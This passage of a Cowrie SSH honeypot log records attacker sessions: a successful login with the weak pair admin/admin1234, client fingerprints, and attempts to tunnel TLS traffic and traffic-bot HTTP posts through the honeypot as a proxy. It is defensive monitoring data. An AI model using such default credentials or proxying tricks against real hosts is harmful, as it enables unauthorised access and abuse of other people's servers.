D44cXE55zeeQd5L0H1jnXL%2FfLmtFqn71TFQXaEkSxZ3n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:56.039777Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:56.110482Z","src_ip":"63.141.242.2","session":"13508dada589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:57.311326Z","src_ip":"91.92.40.36","session":"b62270c237db","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.093538Z","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.156446Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xf3r(\\xeb\\x93'\\x8f\\xed3.\\x8d2O\\xf8\\x16l\\xbcRhF\\x97\\x11\\xe6\\xca,\\xcf`\\xf91\\xe0\\xdf \\xfe\\xbc1\\t]W\\xe9=\\x1aE\\x9a\\xfd\\xce\\xa9cV\\xefw\\xdf\\xf7\\x8b<\\xfdS\\xc5t\\xc4h\\x80 \\xfe\\xa7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xc6\\x85\\xa8PuK\\xaf\\x9e\\x08d\\x93Ix\\x0e\\x0b\\xa0\\xd3\\x1a&Wt)\\x1d+\\xd0\\x03e\\xeb\\x1cg/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xf3r(\\xeb\\x93'\\x8f\\xed3.\\x8d2O\\xf8\\x16l\\xbcRhF\\x97\\x11\\xe6\\xca,\\xcf`\\xf91\\xe0\\xdf \\xfe\\xbc1\\t]W\\xe9=\\x1aE\\x9a\\xfd\\xce\\xa9cV\\xefw\\xdf\\xf7\\x8b<\\xfdS\\xc5t\\xc4h\\x80 \\xfe\\xa7\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\xc6\\x85\\xa8PuK\\xaf\\x9e\\x08d\\x93Ix\\x0e\\x0b\\xa0\\xd3\\x1a&Wt)\\x1d+\\xd0\\x03e\\xeb\\x1cg/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.159242Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.439461Z","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.503329Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03W\\x15\\x04f\\xffpd\\x92\\x1e\\x03\\x1a\\xfe\\xa8\\x1c#\\xc3\\xac\\xde\\x15h\\xa2\\x1b\\xbc{i\\x99\\xbd\\x8aAT8\\xf4 j\\x84Z\\\\]\\xbf\\xa6\\xa1\\x895u\\x95;\\xee\\xdb_\\xc5\\xb2}\\t\\x1a\\xe4\\x14\\x96\\x00-\\x1d\\x11`\\x81c\\x9c\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\xa4\\x06\\xfb\\xeb\\'i2>\\xfb\\xe6\\xdf6\\xc2ej\\xc4\\xd5\\xd5I?\\x8c\\xdfzb\\xd0\\xff\\xeeA\\xe8\\xc3-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03W\\x15\\x04f\\xffpd\\x92\\x1e\\x03\\x1a\\xfe\\xa8\\x1c#\\xc3\\xac\\xde\\x15h\\xa2\\x1b\\xbc{i\\x99\\xbd\\x8aAT8\\xf4 j\\x84Z\\\\]\\xbf\\xa6\\xa1\\x895u\\x95;\\xee\\xdb_\\xc5\\xb2}\\t\\x1a\\xe4\\x14\\x96\\x00-\\x1d\\x11`\\x81c\\x9c\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4\\xa4\\x06\\xfb\\xeb\\'i2>\\xfb\\xe6\\xdf6\\xc2ej\\xc4\\xd5\\xd5I?\\x8c\\xdfzb\\xd0\\xff\\xeeA\\xe8\\xc3-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.506378Z","src_ip":"23.175.50.51","session":"ee98febfbb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"385a224af245","protocol":"ssh","message":"New connection: 91.92.40.36:52758 (159.203.135.109:22) [session: 385a224af245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:58.952357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.169787Z","src_ip":"91.92.40.36","session":"385a224af245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.173733Z","src_ip":"91.92.40.36","session":"385a224af245","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.919066Z","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.979088Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/17B102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UGhkUUdMfWd%2BMVg8aDN9WQ%3D%3D0uGs%2Bm%2FJ60NOTv9PbI5jeNzQ%2FNIsAYR9Uvc0Nw7XB89gO4ttXw48xLV5VlofdkBMAgY4IQfZL55SJ76JLazHypmymMqRngnym4KT6AeaBEndwzH17JrKbL57INa%2FNawSGdnVj68WLwYW3hOa9hkMuTkeqTMZPO3pfkhXMX71JfnhDtL3eR2oIpsimPEgdWKSIno3bDQWFFV%2BIp3%2BVn0OOj1wjmJ%2FsPQeSsu2bq6GNVIf%2BKKTorKz5TAgvjTXVCvlfehJTcVB7rCtR28VewU%2BWuYFoUKIZGeBuE9KSB1omu%2Fy301T9E%2Fmun11g%2BoRMmI2f%2FTQZvaFFaCY04aRKYnhAEl6iOQ%2BfVIZlbXAk2D9BafltfkemNoeyKu4O608hdJDsXBYkgyzNW3WhfPoUT%2FAYUpks7FcDovgooSYgnk8QbJeVWEvA7bc%2F8C4V8bF8Y6QeFRL2emiXgvWKVZ4SHfPFd4VDgzgZB9mGgQSudJgdTJfBfD1Qr%2BWxlGyC9%2BCLvRBDtBt8URrqR0YjJEGkr%2FLjdtlmf19to6M%2FOnvIMgsm3u7s6Ahsfq3iAw6tlrg2%2FP6HNgSdEsodpxNQW6kMQjjkpX3a22RTVZ7pH4GyLKcKK2ZZBoFVh2QxLWoOO97qmjRdgnzIUBELuxRxIp3KvQK7DFp%2BB%2FpsMFNmnx4xMD6a7nA2J0U9aPOf7k%2BWg82Qt9wa8iXnW54BUbTyL%2Frmo6QlrfhRsrHKS00H22EsejHpP6FZUXBRCfomSecE5zbHXOhqyeuN%2BjCtGKGFjDWW8YbevOg9eIYj7JQ56n9CdzN860VurJgp3TYRUTWqwcEqKmuuIR%2BDhqEwCs9goQNs0jFiLTkUp5Ecf%2FcOzodvxOvmIiiF2AJCdqsyBOnlCNa1vACEVBcKSiB3riZU7PM7XYcQBbmAmZ4QC0DdgwgRCGWuuAWw20lH2k1CTWT7fuHPX7PhPCEiBuBVUg%2FnpwhBRy6Be5wpJm7XgCxyx5XGd3FqXya%2FrqMv7WhgMM%2Fxs7Rcz%2B%2FAyaITXE4w3yjNgSXTIt4u0GFd8vMvaJSwP8rrPndqkFwqsFeKhCULOHDv5tEOOQI'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/17B102 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UGhkUUdMfWd%2BMVg8aDN9WQ%3D%3D0uGs%2Bm%2FJ60NOTv9PbI5jeNzQ%2FNIsAYR9Uvc0Nw7XB89gO4ttXw48xLV5VlofdkBMAgY4IQfZL55SJ76JLazHypmymMqRngnym4KT6AeaBEndwzH17JrKbL57INa%2FNawSGdnVj68WLwYW3hOa9hkMuTkeqTMZPO3pfkhXMX71JfnhDtL3eR2oIpsimPEgdWKSIno3bDQWFFV%2BIp3%2BVn0OOj1wjmJ%2FsPQeSsu2bq6GNVIf%2BKKTorKz5TAgvjTXVCvlfehJTcVB7rCtR28VewU%2BWuYFoUKIZGeBuE9KSB1omu%2Fy301T9E%2Fmun11g%2BoRMmI2f%2FTQZvaFFaCY04aRKYnhAEl6iOQ%2BfVIZlbXAk2D9BafltfkemNoeyKu4O608hdJDsXBYkgyzNW3WhfPoUT%2FAYUpks7FcDovgooSYgnk8QbJeVWEvA7bc%2F8C4V8bF8Y6QeFRL2emiXgvWKVZ4SHfPFd4VDgzgZB9mGgQSudJgdTJfBfD1Qr%2BWxlGyC9%2BCLvRBDtBt8URrqR0YjJEGkr%2FLjdtlmf19to6M%2FOnvIMgsm3u7s6Ahsfq3iAw6tlrg2%2FP6HNgSdEsodpxNQW6kMQjjkpX3a22RTVZ7pH4GyLKcKK2ZZBoFVh2QxLWoOO97qmjRdgnzIUBELuxRxIp3KvQK7DFp%2BB%2FpsMFNmnx4xMD6a7nA2J0U9aPOf7k%2BWg82Qt9wa8iXnW54BUbTyL%2Frmo6QlrfhRsrHKS00H22EsejHpP6FZUXBRCfomSecE5zbHXOhqyeuN%2BjCtGKGFjDWW8YbevOg9eIYj7JQ56n9CdzN860VurJgp3TYRUTWqwcEqKmuuIR%2BDhqEwCs9goQNs0jFiLTkUp5Ecf%2FcOzodvxOvmIiiF2AJCdqsyBOnlCNa1vACEVBcKSiB3riZU7PM7XYcQBbmAmZ4QC0DdgwgRCGWuuAWw20lH2k1CTWT7fuHPX7PhPCEiBuBVUg%2FnpwhBRy6Be5wpJm7XgCxyx5XGd3FqXya%2FrqMv7WhgMM%2Fxs7Rcz%2B%2FAyaITXE4w3yjNgSXTIt4u0GFd8vMvaJSwP8rrPndqkFwqsFeKhCULOHDv5tEOOQI'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.985153Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:00.993858Z","session":"c2fb4856fcad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:01.121171Z","src_ip":"38.46.222.137","session":"c2fb4856fcad","protocol":"ssh"}
